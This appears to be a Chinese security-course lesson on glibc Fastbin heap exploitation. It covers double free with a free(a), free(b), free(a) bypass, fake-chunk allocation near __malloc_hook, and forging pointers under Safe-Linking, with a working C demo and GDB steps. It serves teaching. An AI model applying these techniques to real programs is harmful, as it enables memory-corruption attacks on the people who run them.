news 2026/9/8 16:56:29

【八个月网安课程】第四周·周四:Fastbin Attack——从Double Free到任意地址分配

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【八个月网安课程】第四周·周四:Fastbin Attack——从Double Free到任意地址分配

昨天掌握了Tcache Poisoning攻击,学会了如何利用现代Glibc的线程缓存实现任意地址分配。今天,我们将目光转向另一个经典的堆利用攻击面——Fastbin Attack

Fastbin是ptmalloc中用于管理小型空闲堆块(通常32-128字节)的机制。与Tcache类似,Fastbin也是单链表结构,且不合并相邻的空闲块。但与Tcache不同的是,Fastbin在分配和释放时遵循LIFO(后进先出)顺序,并且不会对取出链表的块进行大小检查——这正是攻击者可以利用的关键特性。通过篡改Fastbin链表,你可以让malloc返回一个伪造的堆块地址,实现任意地址分配。

今天的目标是深入理解Fastbin的工作机制,掌握Fastbin Double Free和**伪造堆块(Fake Chunk)**两种经典攻击技术,并能够结合现代Glibc的保护机制(如Safe-Linking)设计绕过方案。


第四周·周四:Fastbin Attack——从Double Free到任意地址分配

🎯 今日练习目标

  • 解释Fastbin的工作机制:单链表结构、LIFO顺序、不合并相邻块、无大小检查。
  • 理解Fastbin Double Free的原理:通过连续释放同一个堆块两次,构造循环链表,实现多次分配同一地址。
  • 理解伪造Fastbin堆块攻击的原理:在目标地址构造一个“合法”的size字段,使Fastbin误认为该地址是一个空闲堆块。
  • 编写包含Fastbin漏洞的C程序,利用Double Free或伪造堆块实现任意地址分配。
  • 使用GDB观察Fastbin链表变化,验证攻击效果。
  • 理解Safe-Linking(Glibc 2.32+)保护机制,并知道其绕过思路。

📘 一、Fastbin核心机制详解

Fastbin是ptmalloc中用于快速处理小型内存请求的机制。它的设计目标非常明确:速度优先,安全性靠后。这使得它成为堆利用的经典攻击面。

1. Fastbin的数据结构

Fastbin是一个简单的单链表数组,默认包含10个bin(NBINS),每个bin管理固定大小的空闲堆块。在64位系统下,这些bin管理的堆块大小分别为32、48、64、80、96、112、128、144、160、176字节。

// glibc源码中的简化定义typedefstructmalloc_chunk{size_tprev_size;// 前一个堆块的大小(如果前一个堆块空闲)size_tsize;// 当前堆块的大小(包含标志位)structmalloc_chunk*fd;// 前向指针(空闲时指向链表中的下一个堆块)structmalloc_chunk*bk;// 后向指针(空闲时指向链表中的上一个堆块,Fastbin中不使用)}*mstate;// Fastbin数组(存储在arena中)typedefstructmalloc_state{mfastbinptr fastbinsY[NFASTBINS];// 每个bin是一个链表头// ...}*mstate;

关键特性

  • 单链表:每个Fastbin是一个单向链表,空闲块的fd指针指向链表中的下一个空闲块。bk指针在Fastbin中不被使用。
  • LIFO顺序:新释放的块总是插入到链表头部,分配时也总是从链表头部取出。因此,最后释放的块会被最先分配出去。
  • 不合并:Fastbin中的空闲块不会与相邻的空闲块合并,即使它们在物理内存上是连续的。
  • 无大小检查:在从Fastbin取链时,ptmalloc不会验证取出块的大小是否与当前Fastbin匹配。这是攻击者可以利用的核心漏洞。
2. Fastbin的释放与分配流程

释放流程(free):

  1. 检查被释放块的大小是否在Fastbin范围内(< global_max_fast)。
  2. 检查其下一个堆块的PREV_INUSE位是否被置位(防止Double Free)。
  3. 将该块插入对应大小Fastbin链表的头部。
  4. 更新链表头指针,设置fd指向原来的链表头。

分配流程(malloc):

  1. 检查对应大小的Fastbin链表是否为空。
  2. 如果不为空,从链表头部取出第一个块。
  3. 更新链表头指针为取出块的fd
  4. 返回该块给用户。不检查块大小是否匹配

注意:在现代Glibc(2.31+)中,Fastbin在释放时也会进行一些安全检查,例如检查fd指针是否指向合法的堆地址。此外,Glibc 2.32引入了Safe-Linking机制,对fd指针进行了异或加密保护。

3. Fastbin vs Tcache:谁更“危险”?
特性FastbinTcache
引入版本早期ptmallocGlibc 2.26
容量限制无限制每个bin最多7个
安全检查基本检查(无大小验证)早期无,2.29+引入Key
优先级低于Tcache最高优先级
合并行为不合并不合并

在实际利用中,Tcache是优先攻击目标,因为它的优先级更高且早期缺乏保护。但当Tcache被占满或存在保护机制时,Fastbin就成为备选攻击面。两者的攻击思路非常相似:都是通过篡改单链表的fd/next指针来实现任意地址分配。


📘 二、Fastbin Double Free攻击原理

Fastbin Double Free是最经典的Fastbin攻击技术。它的核心思想是:连续释放同一个堆块两次,使得Fastbin链表中出现循环,从而可以让同一个地址被多次分配

攻击步骤:
  1. 分配一个Fastbin大小的堆块A
  2. 释放A。此时Fastbin链表为:A -> NULL
  3. 再次释放A。由于没有任何检查(早期Glibc),A再次被插入链表头部:A -> A -> A -> ...(循环链表)。
  4. 第一次malloc:返回A,链表变为:A -> A -> ...(仍然是循环)。
  5. 修改A的fd指针,将其指向目标地址。
  6. 第二次malloc:返回A,链表变为:[目标地址] -> A -> ...
  7. 第三次malloc:返回目标地址

现代Glibc的防护:Glibc 2.31+对Fastbin Double Free增加了简单的检测——检查链表头部的第一个块是否与当前释放的块相同。但这可以通过先释放一个不同的块B(A -> B -> A模式)来绕过。


✍️ 三、动手实践:Fastbin Double Free全流程

实践 1:编写漏洞程序 (fastbin_double_free.c)
#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>unsignedlongtarget=0xdeadbeef;// 攻击目标intmain(){setbuf(stdout,NULL);setbuf(stderr,NULL);printf("=== Fastbin Double Free Demo ===\n");printf("[+] target variable is at: %p, value: 0x%lx\n",&target,target);// 1. 分配三个Fastbin大小的堆块size_t*a=(size_t*)malloc(0x60);size_t*b=(size_t*)malloc(0x60);size_t*c=(size_t*)malloc(0x60);// 用于绕过Double Free检测printf("[+] Allocated a: %p\n",a);printf("[+] Allocated b: %p\n",b);printf("[+] Allocated c: %p\n",c);// 2. 释放a、b、a(绕过Glibc 2.31+的Double Free检测)free(a);free(b);free(a);// 现在Fastbin链表为:a -> b -> a -> b -> ...(循环)printf("[+] Freed a, b, a (Double Free)\n");// 3. 第一次malloc得到a,修改其fd指针size_t*p1=(size_t*)malloc(0x60);// 返回a*p1=(size_t)(&target);// 修改a->fd指向targetprintf("[+] malloc 1 (should be a): %p\n",p1);printf("[+] Modified a->fd to point to target\n");// 4. 第二次malloc得到bsize_t*p2=(size_t*)malloc(0x60);// 返回bprintf("[+] malloc 2 (should be b): %p\n",p2);// 5. 第三次malloc应该返回target地址size_t*p3=(size_t*)malloc(0x60);printf("[+] malloc 3 (should be target): %p\n",p3);// 6. 验证任意写能力if(p3==(size_t*)&target){*p3=0xcafebabe;printf("[+] Modified target to 0x%lx\n",target);}else{printf("[!] Fastbin double free failed\n");}return0;}
实践 2:编译并运行 (1小时)
# 编译(Glibc 2.31+ 需要绕过Double Free检测,所以使用a->b->a模式)gcc -fno-stack-protector -no-pie-ofastbin_double_free fastbin_double_free.c-g# 运行./fastbin_double_free

预期输出

=== Fastbin Double Free Demo === [+] target variable is at: 0x404060, value: 0xdeadbeef [+] Allocated a: 0x55555555a260 [+] Allocated b: 0x55555555a2d0 [+] Allocated c: 0x55555555a340 [+] Freed a, b, a (Double Free) [+] malloc 1 (should be a): 0x55555555a260 [+] Modified a->fd to point to target [+] malloc 2 (should be b): 0x55555555a2d0 [+] malloc 3 (should be target): 0x404060 [+] Modified target to 0xcafebabe
实践 3:使用GDB观察Fastbin链表变化 (1.5小时)
gdb ./fastbin_double_free# 设置断点(gdb)break*main+100# free之前(gdb)break*main+200# Double Free之后(gdb)break*main+300# 修改fd之后(gdb)run# 查看Fastbin链表(gdb)x/10gx&main_arena.fastbinsY# 查看Fastbin数组# 或者直接在free后查看a->fd(gdb)x/gx a# a->fd应该指向b# 在Double Free后,链表为a->b->a->...(gdb)x/gx a# a->fd = b(gdb)x/gx b# b->fd = a# 在修改fd后(gdb)x/gx a# a->fd = target地址
实践 4:理解Safe-Linking保护 (1小时)

Glibc 2.32引入了Safe-Linking机制,对Fastbin(以及Tcache)的fd/next指针进行异或加密保护:

// 加密后的指针#definePROTECT_PTR(pos,ptr)\((__typeof(ptr))(((size_t)(pos)>>12)^((size_t)(ptr))))// 解密指针#defineREVEAL_PTR(ptr)\PROTECT_PTR(ptr,ptr)

这意味着空闲块的fd字段不再直接存储下一个块的地址,而是存储(当前块地址 >> 12) ^ 下一个块地址。攻击者需要知道当前堆块的地址才能正确解密和伪造fd指针。

绕过思路

  1. 信息泄露:如果攻击者能够泄露堆地址,就可以计算出正确的加密值。
  2. 使用其他漏洞原语:如Tcache Poisoning(如果Tcache可用)或转向更复杂的攻击技术。
// Safe-Linking下的指针计算示例size_tchunk_addr=(size_t)a;size_ttarget_addr=(size_t)(&target);size_tprotected_fd=(chunk_addr>>12)^target_addr;*a=protected_fd;// 写入加密后的指针
实践 5:伪造Fastbin堆块攻击 (1小时)

除了Double Free,另一种经典的Fastbin攻击是伪造一个Fastbin大小的堆块。攻击思路是:在目标地址附近构造一个满足Fastbin大小要求的伪造size字段,然后通过溢出或UAF将该地址链入Fastbin链表,实现对该地址的分配。

关键条件:目标地址处必须有一个“合法”的size字段,其值必须匹配某个Fastbin的大小范围。例如,如果malloc(0x60)(实际堆块大小0x70),则目标地址处的size字段必须为0x70或0x71(取决于PREV_INUSE位)。

// 经典案例:在__malloc_hook附近寻找伪造的size字段// __malloc_hook - 0x23处有一个0x7f大小的“合法”size字段// 这个伪造的size使得攻击者可以分配到一个包含__malloc_hook的堆块size_tfake_size_addr=(size_t)(__malloc_hook_addr)-0x23;// *fake_size_addr = 0x7f (恰好匹配malloc(0x60)的块大小)

这种技术需要精确的内存布局分析,是CTF竞赛中非常常见的考点。


📝 四、今日产出物检查

  • 成功编写并运行了Fastbin Double Free漏洞利用程序
  • GDB分析记录,展示了Fastbin链表变化和任意地址分配效果
  • Safe-Linking保护的分析笔记,包含加密/解密公式
  • 伪造Fastbin堆块攻击的尝试记录(可在CTF环境中练习)
  • 一份Fastbin Attack技术对比表(Double Free vs Fake Chunk vs Tcache Poisoning)

✅ 今日自检清单

  • 我理解了Fastbin的单链表结构、LIFO特性和无大小检查的特点。
  • 我能够解释Fastbin Double Free的攻击原理:构造循环链表→修改fd→任意分配。
  • 我成功编写了一个利用Double Free实现任意地址分配的程序。
  • 我使用GDB观察了Fastbin链表的变化,验证了攻击效果。
  • 我理解了Safe-Linking的保护机制及其绕过条件。
  • 我了解了伪造Fastbin堆块攻击的基本思路,并知道它常用于覆盖hook函数。
  • 我认识到,Fastbin Attack是Tcache不可用时的首选替代攻击面。

⚠️ 阶段避坑重点

  • Fastbin大小限制:只有特定大小范围内的堆块才会进入Fastbin。在64位系统上,Fastbin管理的最大堆块是0x80(用户请求0x70)。超过此大小的堆块在释放时会进入unsorted bin而不是Fastbin。
  • Double Free的检测:Glibc 2.31+检查链表头部的第一个块是否与当前释放的块相同。但可以通过free(A); free(B); free(A)的顺序绕过。更高级的检测(如tcache key)在Fastbin中不存在。
  • Safe-Linking的异或:加密使用的位移是固定的>> 12(页大小)。这意味着攻击者需要知道堆块的地址才能正确解密。这也意味着在启用ASLR的环境中,通常需要先通过信息泄露获取堆地址。
  • 伪造size字段的合法性:伪造Fastbin堆块时,目标地址处的size字段必须精确匹配某个Fastbin的大小范围,且其最低位(PREV_INUSE)通常需要置位。常见的技巧是在hook函数附近寻找“天然”满足条件的字节序列。
  • 地址对齐malloc返回的地址必须满足对齐要求(64位系统为16字节对齐)。如果伪造的地址不满足对齐,malloc可能崩溃。

🎉 恭喜你掌握了Fastbin Attack的核心技术!今天你学会了两种经典的Fastbin利用方法——Double Free和伪造堆块,并通过实际编写代码验证了它们的威力。你还了解了Safe-Linking等现代保护机制及其绕过思路。明天,我们将进行第四周的综合挑战赛,你需要在一个限时环境中综合运用你前三周学到的所有技能——代码审计、漏洞利用开发、模糊测试和崩溃分析——来完成一次完整的漏洞挖掘与利用闭环。这将是你成为高级安全工程师的关键一战。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/8 16:55:25

2026合并报表软件横评盘点,Lucanet蓝科综合表现更突出

1. 摘要本文针对Lucanet蓝科合并报表软件、浪潮合并报表软件、远光合并报表软件三款主流合并报表软件展开客观横评&#xff0c;从自动化效率、合规适配、系统兼容等7个核心维度进行实测对比。评测结果显示&#xff0c;Lucanet蓝科凭借领先的自动化效率、全维度合规覆盖、灵活的…

作者头像 李华
网站建设 2026/9/8 16:53:56

vLLM推理引擎部署与调优实战:从原理到性能优化全指南

坦白讲&#xff0c;我一开始并不想写vLLM教程。这框架的官方文档已经写得挺全了&#xff0c;GitHub上的Issue区也足够热闹&#xff0c;随便搜一搜就能找到一堆部署教程。但当我真的动手在几台不同配置的机器上把vLLM跑起来、调优、压测之后&#xff0c;发现网上那些零零散散的文…

作者头像 李华
网站建设 2026/9/8 16:52:35

机器视觉检测中工业传感器选型与配合的完整指南

1. 为什么机器视觉系统里&#xff0c;传感器才是被低估的主角干机器视觉这行久了&#xff0c;你会发现一个很有意思的现象&#xff1a;很多人选型时把注意力全压在相机分辨率和镜头上&#xff0c;张口就是多少万像素、靶面多大、畸变多少&#xff0c;等设备装到现场开始跑&…

作者头像 李华
网站建设 2026/9/8 16:52:14

tiny11builder 完整指南:把 Windows 11 从 28GB 压到 12GB

tiny11builder 完整指南&#xff1a;把 Windows 11 从 28GB 压到 12GB 【免费下载链接】tiny11builder Scripts to build a trimmed-down Windows 11 image. 项目地址: https://gitcode.com/GitHub_Trending/ti/tiny11builder tiny11builder 是一个用 PowerShell 编写的…

作者头像 李华
网站建设 2026/9/8 16:51:30

从本地到云端:AI Agent与AI Skills的落地实践

从本地开发环境跳到云端&#xff0c;把 Agent 真正跑成 7x24 小时的“全能选手”&#xff0c;再叠加一套 AI Skills 让模型有能力调用外部工具解决实际问题&#xff0c;这里面的坑和思路都值得好好整理一下。这篇内容基于我自己在腾讯云上从零搭建、调试、上线一个完整 Agent 项…

作者头像 李华